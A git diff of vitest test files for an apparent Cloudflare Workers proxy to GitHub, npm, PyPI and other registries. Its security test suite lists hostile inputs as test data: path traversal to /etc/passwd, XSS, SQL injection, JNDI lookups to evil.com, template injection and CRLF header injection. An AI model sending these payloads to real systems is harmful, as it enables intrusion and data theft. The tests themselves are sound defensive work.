promises.push(
|
||||||
|
new Promise(resolve => {
|
||||||
|
setTimeout(() => {
|
||||||
|
monitor.mark(`concurrent-${i}`);
|
||||||
|
resolve();
|
||||||
|
}, Math.random() * 10);
|
||||||
|
})
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
return Promise.all(promises).then(() => {
|
||||||
|
const metrics = monitor.getMetrics();
|
||||||
|
expect(Object.keys(metrics)).toHaveLength(10);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -0,0 +1,178 @@
|
|||||||
|
import { describe, expect, it } from 'vitest';
|
||||||
|
import { PLATFORMS } from '../src/config/platforms.js';
|
||||||
|
|
||||||
|
describe('Platform Configuration', () => {
|
||||||
|
describe('Platform Definitions', () => {
|
||||||
|
it('should have all required platforms defined', () => {
|
||||||
|
const requiredPlatforms = ['gh', 'gl', 'hf', 'npm', 'pypi', 'conda'];
|
||||||
|
|
||||||
|
requiredPlatforms.forEach(platform => {
|
||||||
|
expect(PLATFORMS).toHaveProperty(platform);
|
||||||
|
expect(PLATFORMS[platform]).toBeDefined();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should have valid base URLs for all platforms', () => {
|
||||||
|
Object.entries(PLATFORMS).forEach(([key, config]) => {
|
||||||
|
expect(config.base).toBeDefined();
|
||||||
|
expect(config.base).toMatch(/^https?:\/\/.+/);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should have transform functions for all platforms', () => {
|
||||||
|
Object.entries(PLATFORMS).forEach(([key, config]) => {
|
||||||
|
expect(config.transform).toBeDefined();
|
||||||
|
expect(typeof config.transform).toBe('function');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('GitHub Platform', () => {
|
||||||
|
it('should transform GitHub paths correctly', () => {
|
||||||
|
const transform = PLATFORMS.gh.transform;
|
||||||
|
|
||||||
|
expect(transform('/gh/microsoft/vscode/archive/main.zip'))
|
||||||
|
.toBe('/microsoft/vscode/archive/main.zip');
|
||||||
|
|
||||||
|
expect(transform('/gh/user/repo.git'))
|
||||||
|
.toBe('/user/repo.git');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should have correct base URL', () => {
|
||||||
|
expect(PLATFORMS.gh.base).toBe('https://github.com');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('GitLab Platform', () => {
|
||||||
|
it('should transform GitLab paths correctly', () => {
|
||||||
|
const transform = PLATFORMS.gl.transform;
|
||||||
|
|
||||||
|
expect(transform('/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip'))
|
||||||
|
.toBe('/gitlab-org/gitlab/-/archive/master/gitlab-master.zip');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should have correct base URL', () => {
|
||||||
|
expect(PLATFORMS.gl.base).toBe('https://gitlab.com');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('Hugging Face Platform', () => {
|
||||||
|
it('should transform Hugging Face paths correctly', () => {
|
||||||
|
const transform = PLATFORMS.hf.transform;
|
||||||
|
|
||||||
|
expect(transform('/hf/microsoft/DialoGPT-medium/resolve/main/config.json'))
|
||||||
|
.toBe('/microsoft/DialoGPT-medium/resolve/main/config.json');
|
||||||
|
|
||||||
|
expect(transform('/hf/datasets/squad/resolve/main/train.json'))
|
||||||
|
.toBe('/datasets/squad/resolve/main/train.json');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should have correct base URL', () => {
|
||||||
|
expect(PLATFORMS.hf.base).toBe('https://huggingface.co');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('npm Platform', () => {
|
||||||
|
it('should transform npm paths correctly', () => {
|
||||||
|
const transform = PLATFORMS.npm.transform;
|
||||||
|
|
||||||
|
expect(transform('/npm/react/-/react-18.2.0.tgz'))
|
||||||
|
.toBe('/react/-/react-18.2.0.tgz');
|
||||||
|
|
||||||
|
expect(transform('/npm/lodash'))
|
||||||
|
.toBe('/lodash');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should have correct base URL', () => {
|
||||||
|
expect(PLATFORMS.npm.base).toBe('https://registry.npmjs.org');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('PyPI Platform', () => {
|
||||||
|
it('should transform PyPI paths correctly', () => {
|
||||||
|
const transform = PLATFORMS.pypi.transform;
|
||||||
|
|
||||||
|
expect(transform('/pypi/packages/source/r/requests/requests-2.31.0.tar.gz'))
|
||||||
|
.toBe('/packages/source/r/requests/requests-2.31.0.tar.gz');
|
||||||
|
|
||||||
|
expect(transform('/pypi/simple/requests/'))
|
||||||
|
.toBe('/simple/requests/');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should have correct base URL', () => {
|
||||||
|
expect(PLATFORMS.pypi.base).toBe('https://pypi.org');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('conda Platform', () => {
|
||||||
|
it('should transform conda default channel paths correctly', () => {
|
||||||
|
const transform = PLATFORMS.conda.transform;
|
||||||
|
|
||||||
|
expect(transform('/conda/pkgs/main/linux-64/numpy-1.24.3.conda'))
|
||||||
|
.toBe('/pkgs/main/linux-64/numpy-1.24.3.conda');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should transform conda community channel paths correctly', () => {
|
||||||
|
const transform = PLATFORMS.conda.transform;
|
||||||
|
|
||||||
|
expect(transform('/conda/community/conda-forge/linux-64/repodata.json'))
|
||||||
|
.toBe('/conda-forge/linux-64/repodata.json');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should have correct base URLs', () => {
|
||||||
|
expect(PLATFORMS.conda.base).toBe('https://repo.anaconda.com');
|
||||||
|
expect(PLATFORMS.conda.communityBase).toBe('https://conda.anaconda.org');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('Path Transformation Edge Cases', () => {
|
||||||
|
it('should handle empty paths gracefully', () => {
|
||||||
|
Object.entries(PLATFORMS).forEach(([key, config]) => {
|
||||||
|
expect(() => config.transform('')).not.toThrow();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should handle paths without platform prefix', () => {
|
||||||
|
Object.entries(PLATFORMS).forEach(([key, config]) => {
|
||||||
|
const testPath = '/some/random/path';
|
||||||
|
expect(() => config.transform(testPath)).not.toThrow();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should handle paths with query parameters', () => {
|
||||||
|
const transform = PLATFORMS.gh.transform;
|
||||||
|
|
||||||
|
expect(transform('/gh/user/repo/file.txt?ref=main'))
|
||||||
|
.toBe('/user/repo/file.txt?ref=main');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should handle paths with fragments', () => {
|
||||||
|
const transform = PLATFORMS.gh.transform;
|
||||||
|
|
||||||
|
expect(transform('/gh/user/repo/README.md#section'))
|
||||||
|
.toBe('/user/repo/README.md#section');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('URL Construction', () => {
|
||||||
|
it('should construct valid URLs for all platforms', () => {
|
||||||
|
Object.entries(PLATFORMS).forEach(([key, config]) => {
|
||||||
|
const testPath = `/${key}/test/path`;
|
||||||
|
const transformedPath = config.transform(testPath);
|
||||||
|
const fullUrl = config.base + transformedPath;
|
||||||
|
|
||||||
|
expect(() => new URL(fullUrl)).not.toThrow();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should handle conda community URLs correctly', () => {
|
||||||
|
const config = PLATFORMS.conda;
|
||||||
|
const communityPath = '/conda/community/conda-forge/test';
|
||||||
|
const transformedPath = config.transform(communityPath);
|
||||||
|
const fullUrl = config.communityBase + transformedPath;
|
||||||
|
|
||||||
|
expect(() => new URL(fullUrl)).not.toThrow();
|
||||||
|
expect(fullUrl).toContain('conda.anaconda.org');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -0,0 +1,276 @@
|
|||||||
|
import { SELF } from 'cloudflare:test';
|
||||||
|
import { describe, expect, it } from 'vitest';
|
||||||
|
|
||||||
|
describe('Security Features', () => {
|
||||||
|
describe('Security Headers', () => {
|
||||||
|
it('should include Strict-Transport-Security header', async () => {
|
||||||
|
const response = await SELF.fetch('https://example.com/');
|
||||||
|
|
||||||
|
const hsts = response.headers.get('Strict-Transport-Security');
|
||||||
|
expect(hsts).toBeTruthy();
|
||||||
|
expect(hsts).toContain('max-age=');
|
||||||
|
expect(hsts).toContain('includeSubDomains');
|
||||||
|
expect(hsts).toContain('preload');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should include X-Frame-Options header', async () => {
|
||||||
|
const response = await SELF.fetch('https://example.com/');
|
||||||
|
|
||||||
|
expect(response.headers.get('X-Frame-Options')).toBe('DENY');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should include X-XSS-Protection header', async () => {
|
||||||
|
const response = await SELF.fetch('https://example.com/');
|
||||||
|
|
||||||
|
expect(response.headers.get('X-XSS-Protection')).toBe('1; mode=block');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should include Content-Security-Policy header', async () => {
|
||||||
|
const response = await SELF.fetch('https://example.com/');
|
||||||
|
|
||||||
|
const csp = response.headers.get('Content-Security-Policy');
|
||||||
|
expect(csp).toBeTruthy();
|
||||||
|
expect(csp).toContain("default-src 'none'");
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should include Referrer-Policy header', async () => {
|
||||||
|
const response = await SELF.fetch('https://example.com/');
|
||||||
|
|
||||||
|
expect(response.headers.get('Referrer-Policy')).toBe('strict-origin-when-cross-origin');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should include Permissions-Policy header', async () => {
|
||||||
|
const response = await SELF.fetch('https://example.com/');
|
||||||
|
|
||||||
|
const permissionsPolicy = response.headers.get('Permissions-Policy');
|
||||||
|
expect(permissionsPolicy).toBeTruthy();
|
||||||
|
expect(permissionsPolicy).toContain('interest-cohort=()');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('HTTP Method Restrictions', () => {
|
||||||
|
it('should reject PATCH method', async () => {
|
||||||
|
const response = await SELF.fetch('https://example.com/gh/test/repo', {
|
||||||
|
method: 'PATCH'
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(response.status).toBe(405);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should reject PUT method for non-Git requests', async () => {
|
||||||
|
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', {
|
||||||
|
method: 'PUT'
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(response.status).toBe(405);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should reject DELETE method', async () => {
|
||||||
|
const response = await SELF.fetch('https://example.com/gh/test/repo', {
|
||||||
|
method: 'DELETE'
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(response.status).toBe(405);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should reject OPTIONS method', async () => {
|
||||||
|
const response = await SELF.fetch('https://example.com/gh/test/repo', {
|
||||||
|
method: 'OPTIONS'
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(response.status).toBe(405);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('Path Validation', () => {
|
||||||
|
it('should reject paths with directory traversal attempts', async () => {
|
||||||
|
const maliciousPaths = [
|
||||||
|
'/gh/../../../etc/passwd',
|
||||||
|
'/gh/user/repo/../../../sensitive',
|
||||||
|
'/gh/user/repo/..%2F..%2F..%2Fetc%2Fpasswd',
|
||||||
|
'/gh/user/repo/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd'
|
||||||
|
];
|
||||||
|
|
||||||
|
for (const path of maliciousPaths) {
|
||||||
|
const response = await SELF.fetch(`https://example.com${path}`);
|
||||||
|
// Should either reject with 400 or safely handle the path
|
||||||
|
expect([400, 404, 500]).toContain(response.status);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should reject extremely long paths', async () => {
|
||||||
|
const longPath = '/gh/' + 'a'.repeat(3000);
|
||||||
|
const response = await SELF.fetch(`https://example.com${longPath}`);
|
||||||
|
|
||||||
|
expect(response.status).toBe(414);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should handle URL encoding safely', async () => {
|
||||||
|
const encodedPaths = [
|
||||||
|
'/gh/user/repo%20with%20spaces',
|
||||||
|
'/gh/user/repo%2Ffile.txt',
|
||||||
|
'/gh/user%40domain/repo'
|
||||||
|
];
|
||||||
|
|
||||||
|
for (const path of encodedPaths) {
|
||||||
|
const response = await SELF.fetch(`https://example.com${path}`);
|
||||||
|
// Should handle encoded paths without security issues
|
||||||
|
expect(response.status).not.toBe(500);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('Input Sanitization', () => {
|
||||||
|
it('should handle special characters in paths', async () => {
|
||||||
|
const specialPaths = [
|
||||||
|
'/gh/user/repo<script>alert(1)</script>',
|
||||||
|
'/gh/user/repo\'; DROP TABLE users; --',
|
||||||
|
'/gh/user/repo${jndi:ldap://evil.com}',
|
||||||
|
'/gh/user/repo{{7*7}}'
|
||||||
|
];
|
||||||
|
|
||||||
|
for (const path of specialPaths) {
|
||||||
|
const response = await SELF.fetch(`https://example.com${path}`);
|
||||||
|
// Should safely handle special characters
|
||||||
|
expect(response.status).not.toBe(500);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should handle Unicode characters safely', async () => {
|
||||||
|
const unicodePaths = [
|
||||||
|
'/gh/用户/仓库/文件.txt',
|
||||||
|
'/gh/user/repo/файл.txt',
|
||||||
|
'/gh/user/repo/ファイル.txt'
|
||||||
|
];
|
||||||
|
|
||||||
|
for (const path of unicodePaths) {
|
||||||
|
const response = await SELF.fetch(`https://example.com${path}`);
|
||||||
|
// Should handle Unicode without issues
|
||||||
|
expect(response.status).not.toBe(500);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('Request Header Validation', () => {
|
||||||
|
it('should handle malicious User-Agent headers', async () => {
|
||||||
|
const maliciousUserAgents = [
|
||||||
|
'<script>alert(1)</script>',
|
||||||
|
'Mozilla/5.0 ${jndi:ldap://evil.com}',
|
||||||
|
'User-Agent\r\nX-Injected-Header: malicious'
|
||||||
|
];
|
||||||
|
|
||||||
|
for (const userAgent of maliciousUserAgents) {
|
||||||
|
const response = await SELF.fetch('https://example.com/gh/test/repo', {
|
||||||
|
headers: {
|
||||||
|
'User-Agent': userAgent
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
// Should handle malicious user agents safely
|
||||||
|
expect(response.status).not.toBe(500);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should handle header injection attempts', async () => {
|
||||||
|
const response = await SELF.fetch('https://example.com/gh/test/repo', {
|
||||||
|
headers: {
|
||||||
|
'X-Test': 'value\r\nX-Injected: malicious',
|
||||||
|
'Referer': 'https://evil.com\r\nX-Injected: header'
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
// Should not allow header injection
|
||||||
|
expect(response.headers.get('X-Injected')).toBeNull();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('Rate Limiting and DoS Protection', () => {
|
||||||
|
it('should handle concurrent requests gracefully', async () => {
|
||||||
|
const requests = Array(10).fill().map(() =>
|
||||||
|
SELF.fetch('https://example.com/gh/test/repo/small-file.txt')
|
||||||
|
);
|
||||||
|
|
||||||
|
const responses = await Promise.all(requests);
|
||||||
|
|
||||||
|
// All requests should be handled without errors
|
||||||
|
responses.forEach(response => {
|
||||||
|
expect(response.status).not.toBe(500);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should timeout long-running requests', async () => {
|
||||||
|
// This test would need to be implemented based on actual timeout behavior
|
||||||
|
// For now, we just verify the request doesn't hang indefinitely
|
||||||
|
const startTime = Date.now();
|
||||||
|
|
||||||
|
try {
|
||||||
|
await SELF.fetch('https://example.com/gh/test/very-large-file', {
|
||||||
|
signal: AbortSignal.timeout(35000) // Slightly longer than expected timeout
|
||||||
|
});
|
||||||
|
} catch (error) {
|
||||||
|
// Request should timeout or complete within reasonable time
|
||||||
|
const elapsed = Date.now() - startTime;
|
||||||
|
expect(elapsed).toBeLessThan(40000); // 40 seconds max
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('Error Information Disclosure', () => {
|
||||||
|
it('should not expose internal error details', async () => {
|
||||||
|
const response = await SELF.fetch('https://example.com/invalid-platform/test');
|
||||||
|
|
||||||
|
expect(response.status).toBe(400);
|
||||||
|
|
||||||
|
const body = await response.text();
|
||||||
|
// Should not expose internal paths, stack traces, or sensitive info
|
||||||
|
expect(body).not.toMatch(/\/[a-zA-Z]:[\\\/]/); // Windows paths
|
||||||
|
expect(body).not.toMatch(/\/home\/[^\/]+/); // Unix home paths
|
||||||
|
expect(body).not.toMatch(/at [a-zA-Z]+\.[a-zA-Z]+/); // Stack traces
|
||||||
|
expect(body).not.toMatch(/Error: .+ at/); // Detailed error messages
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should provide generic error messages', async () => {
|
||||||
|
const response = await SELF.fetch('https://example.com/invalid');
|
||||||
|
|
||||||
|
const body = await response.text();
|
||||||
|
// Error messages should be generic and safe
|
||||||
|
expect(body.length).toBeLessThan(200); // Not too verbose
|
||||||
|
expect(body).not.toContain('undefined');
|
||||||
|
expect(body).not.toContain('null');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('CORS Security', () => {
|
||||||
|
it('should handle CORS preflight requests securely', async () => {
|
||||||
|
const response = await SELF.fetch('https://example.com/gh/test/repo', {
|
||||||
|
method: 'OPTIONS',
|
||||||
|
headers: {
|
||||||
|
'Origin': 'https://evil.com',
|
||||||
|
'Access-Control-Request-Method': 'GET',
|
||||||
|
'Access-Control-Request-Headers': 'X-Custom-Header'
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
// Should either reject OPTIONS or handle CORS securely
|
||||||
|
if (response.status === 200) {
|
||||||
|
const allowOrigin = response.headers.get('Access-Control-Allow-Origin');
|
||||||
|
// Should not blindly allow all origins for sensitive operations
|
||||||
|
expect(allowOrigin).not.toBe('https://evil.com');
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('Content Type Security', () => {
|
||||||
|
it('should not execute uploaded content', async () => {
|
||||||
|
// Test that the service doesn't execute or interpret uploaded content
|
||||||
|
const response = await SELF.fetch('https://example.com/gh/test/repo/script.js');
|
||||||
|
|
||||||
|
// Should serve content with appropriate headers, not execute it
|
||||||
|
const contentType = response.headers.get('Content-Type');
|
||||||
|
if (contentType) {
|
||||||
|
expect(contentType).not.toContain('text/html');
|
||||||
|
expect(contentType).not.toContain('application/javascript');
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
});
|
||||||
+300
@@ -0,0 +1,300 @@
|
|||||||
|
/**
|
||||||
|
* Test setup and global configuration
|
||||||
|
*/
|
||||||
|
|
||||||
|
import { afterAll, afterEach, beforeAll, beforeEach } from 'vitest';
|
||||||
|
|
||||||
|
// Global test configuration
|
||||||
|
const TEST_CONFIG = {
|
||||||
|
timeout: 30000, // 30 seconds
|
||||||
|
retries: 2,
|
||||||
|
bail: false
|
||||||
|
};
|
||||||
|
|
||||||
|
// Global test state
|
||||||
|
let testStartTime;
|
||||||
|
let testMetrics = {
|
||||||
|
totalTests: 0,
|
||||||
|
passedTests: 0,
|
||||||
|
failedTests: 0,
|
||||||
|
skippedTests: 0
|
||||||
|
};
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Global setup - runs once before all tests
|
||||||
|
*/
|
||||||
|
beforeAll(async () => {
|
||||||
|
console.log('🚀 Starting Xget test suite...');
|
||||||
|
testStartTime = Date.now();
|
||||||
|
|
||||||
|
// Initialize test environment
|
||||||
|
await setupTestEnvironment();
|
||||||
|
|
||||||
|
// Verify test dependencies
|
||||||
|
await verifyTestDependencies();
|
||||||
|
|
||||||
|
console.log('✅ Test environment initialized');
|
||||||
|
});
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Global teardown - runs once after all tests
|
||||||
|
*/
|
||||||
|
afterAll(async () => {
|
||||||
|
const duration = Date.now() - testStartTime;
|
||||||
|
|
||||||
|
console.log('\n📊 Test Suite Summary:');
|
||||||
|
console.log(` Duration: ${duration}ms`);
|
||||||
|
console.log(` Total: ${testMetrics.totalTests}`);
|
||||||
|
console.log(` Passed: ${testMetrics.passedTests}`);
|
||||||
|
console.log(` Failed: ${testMetrics.failedTests}`);
|
||||||
|
console.log(` Skipped: ${testMetrics.skippedTests}`);
|
||||||
|
|
||||||
|
// Cleanup test environment
|
||||||
|
await cleanupTestEnvironment();
|
||||||
|
|
||||||
|
console.log('🏁 Test suite completed');
|
||||||
|
});
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Setup before each test
|
||||||
|
*/
|
||||||
|
beforeEach(async (context) => {
|
||||||
|
testMetrics.totalTests++;
|
||||||
|
|
||||||
|
// Reset any global state
|
||||||
|
resetGlobalState();
|
||||||
|
|
||||||
|
// Setup test-specific environment
|
||||||
|
await setupTestCase(context);
|
||||||
|
});
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Cleanup after each test
|
||||||
|
*/
|
||||||
|
afterEach(async (context) => {
|
||||||
|
// Update test metrics based on result
|
||||||
|
if (context.meta?.result === 'pass') {
|
||||||
|
testMetrics.passedTests++;
|
||||||
|
} else if (context.meta?.result === 'fail') {
|
||||||
|
testMetrics.failedTests++;
|
||||||
|
} else if (context.meta?.result === 'skip') {
|
||||||
|
testMetrics.skippedTests++;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Cleanup test-specific resources
|
||||||
|
await cleanupTestCase(context);
|
||||||
|
});
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Setup test environment
|
||||||
|
*/
|
||||||
|
async function setupTestEnvironment() {
|
||||||
|
// Verify Cloudflare Workers environment
|
||||||
|
if (typeof globalThis.fetch === 'undefined') {
|
||||||
|
throw new Error('fetch is not available in test environment');
|
||||||
|
}
|
||||||
|
|
||||||
|
// Setup global test utilities
|
||||||
|
globalThis.TEST_CONFIG = TEST_CONFIG;
|
||||||
|
|
||||||
|
// Initialize performance monitoring
|
||||||
|
if (typeof performance === 'undefined') {
|
||||||
|
globalThis.performance = {
|
||||||
|
now: () => Date.now()
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
// Setup console overrides for testing
|
||||||
|
setupConsoleOverrides();
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Verify test dependencies
|
||||||
|
*/
|
||||||
|
async function verifyTestDependencies() {
|
||||||
|
const requiredGlobals = [
|
||||||
|
'Request',
|
||||||
|
'Response',
|
||||||
|
'Headers',
|
||||||
|
'URL',
|
||||||
|
'URLSearchParams'
|
||||||
|
];
|
||||||
|
|
||||||
|
for (const global of requiredGlobals) {
|
||||||
|
if (typeof globalThis[global] === 'undefined') {
|
||||||
|
throw new Error(`Required global ${global} is not available`);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Verify SELF is available for Cloudflare Workers testing
|
||||||
|
try {
|
||||||
|
const { SELF } = await import('cloudflare:test');
|
||||||
|
if (!SELF) {
|
||||||
|
throw new Error('SELF is not available');
|
||||||
|
}
|
||||||
|
} catch (error) {
|
||||||
|
console.warn('Warning: Cloudflare Workers test environment not available');
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Setup console overrides for testing
|
||||||
|
*/
|
||||||
|
function setupConsoleOverrides() {
|
||||||
|
const originalConsole = { ...console };
|
||||||
|
|
||||||
|
// Store original console methods
|
||||||
|
globalThis.originalConsole = originalConsole;
|
||||||
|
|
||||||
|
// Override console methods for testing
|
||||||
|
console.warn = (...args) => {
|
||||||
|
if (process.env.NODE_ENV !== 'test' || process.env.VERBOSE_TESTS) {
|
||||||
|
originalConsole.warn(...args);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
console.log = (...args) => {
|
||||||
|
if (process.env.NODE_ENV !== 'test' || process.env.VERBOSE_TESTS) {
|
||||||
|
originalConsole.log(...args);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Reset global state between tests
|
||||||
|
*/
|
||||||
|
function resetGlobalState() {
|
||||||
|
// Clear any cached data
|
||||||
|
if (globalThis.testCache) {
|
||||||
|
globalThis.testCache.clear();
|
||||||
|
}
|
||||||
|
|
||||||
|
// Reset performance counters
|
||||||
|
if (globalThis.testPerformance) {
|
||||||
|
globalThis.testPerformance.reset();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Setup individual test case
|
||||||
|
*/
|
||||||
|
async function setupTestCase(context) {
|
||||||
|
// Create test-specific cache
|
||||||
|
globalThis.testCache = new Map();
|
||||||
|
|
||||||
|
// Setup test-specific performance monitoring
|
||||||
|
globalThis.testPerformance = {
|
||||||
|
marks: new Map(),
|
||||||
|
mark: (name) => {
|
||||||
|
globalThis.testPerformance.marks.set(name, performance.now());
|
||||||
|
},
|
||||||
|
measure: (name, startMark, endMark) => {
|
||||||
|
const start = globalThis.testPerformance.marks.get(startMark) || 0;
|
||||||
|
const end = globalThis.testPerformance.marks.get(endMark) || performance.now();
|
||||||
|
return end - start;
|
||||||
|
},
|
||||||
|
reset: () => {
|
||||||
|
globalThis.testPerformance.marks.clear();
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
// Mark test start time
|
||||||
|
globalThis.testPerformance.mark('test-start');
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Cleanup individual test case
|
||||||
|
*/
|
||||||
|
async function cleanupTestCase(context) {
|
||||||
|
// Mark test end time
|
||||||
|
globalThis.testPerformance.mark('test-end');
|
||||||
|
|
||||||
|
// Log test performance if verbose
|
||||||
|
if (process.env.VERBOSE_TESTS) {
|
||||||
|
const duration = globalThis.testPerformance.measure(
|
||||||
|
'test-duration',
|
||||||
|
'test-start',
|
||||||
|
'test-end'
|
||||||
|
);
|
||||||
|
console.log(`Test "${context.meta?.name}" took ${duration.toFixed(2)}ms`);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Cleanup test-specific resources
|
||||||
|
if (globalThis.testCache) {
|
||||||
|
globalThis.testCache.clear();
|
||||||
|
}
|
||||||
|
|
||||||
|
if (globalThis.testPerformance) {
|
||||||
|
globalThis.testPerformance.reset();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Cleanup test environment
|
||||||
|
*/
|
||||||
|
async function cleanupTestEnvironment() {
|
||||||
|
// Restore original console
|
||||||
|
if (globalThis.originalConsole) {
|
||||||
|
Object.assign(console, globalThis.originalConsole);
|
||||||
|
delete globalThis.originalConsole;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Cleanup global test utilities
|
||||||
|
delete globalThis.TEST_CONFIG;
|
||||||
|
delete globalThis.testCache;
|
||||||
|
delete globalThis.testPerformance;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Custom test utilities available globally
|
||||||
|
*/
|
||||||
|
globalThis.testUtils = {
|
||||||
|
/**
|
||||||
|
* Create a test timeout
|
||||||
|
*/
|
||||||
|
timeout: (ms) => new Promise((_, reject) => {
|
||||||
|
setTimeout(() => reject(new Error(`Test timed out after ${ms}ms`)), ms);
|
||||||
|
}),
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Wait for a condition to be true
|
||||||
|
*/
|
||||||
|
waitFor: async (condition, timeout = 5000, interval = 100) => {
|
||||||
|
const start = Date.now();
|
||||||
|
|
||||||
|
while (Date.now() - start < timeout) {
|
||||||
|
if (await condition()) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
await new Promise(resolve => setTimeout(resolve, interval));
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error(`Condition not met within ${timeout}ms`);
|
||||||
|
},
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Retry a function with exponential backoff
|
||||||
|
*/
|
||||||
|
retry: async (fn, maxRetries = 3, baseDelay = 100) => {
|
||||||
|
let lastError;
|
||||||
|
|
||||||
|
for (let i = 0; i < maxRetries; i++) {
|
||||||
|
try {
|
||||||
|
return await fn();
|
||||||
|
} catch (error) {
|
||||||
|
lastError = error;
|
||||||
|
|
||||||
|
if (i < maxRetries - 1) {
|
||||||
|
const delay = baseDelay * Math.pow(2, i);
|
||||||
|
await new Promise(resolve => setTimeout(resolve, delay));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw lastError;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
// Export test configuration for use in other files
|
||||||
|
export { TEST_CONFIG, testMetrics };
|
||||||
|
|
||||||
@@ -0,0 +1,351 @@
|
|||||||
|
import { describe, expect, it } from 'vitest';
|
||||||
|
|
||||||
|
// Mock utility functions for testing
|
||||||
|
// These would normally be imported from actual utility modules
|
||||||
|
|
||||||
|
function isGitRequest(request, url) {
|
||||||
|
// Check for Git-specific endpoints
|
||||||
|
if (url.pathname.endsWith("/info/refs")) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (
|
||||||
|
url.pathname.endsWith("/git-upload-pack") ||
|
||||||
|
url.pathname.endsWith("/git-receive-pack")
|
||||||
|
) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check for Git user agents
|
||||||
|
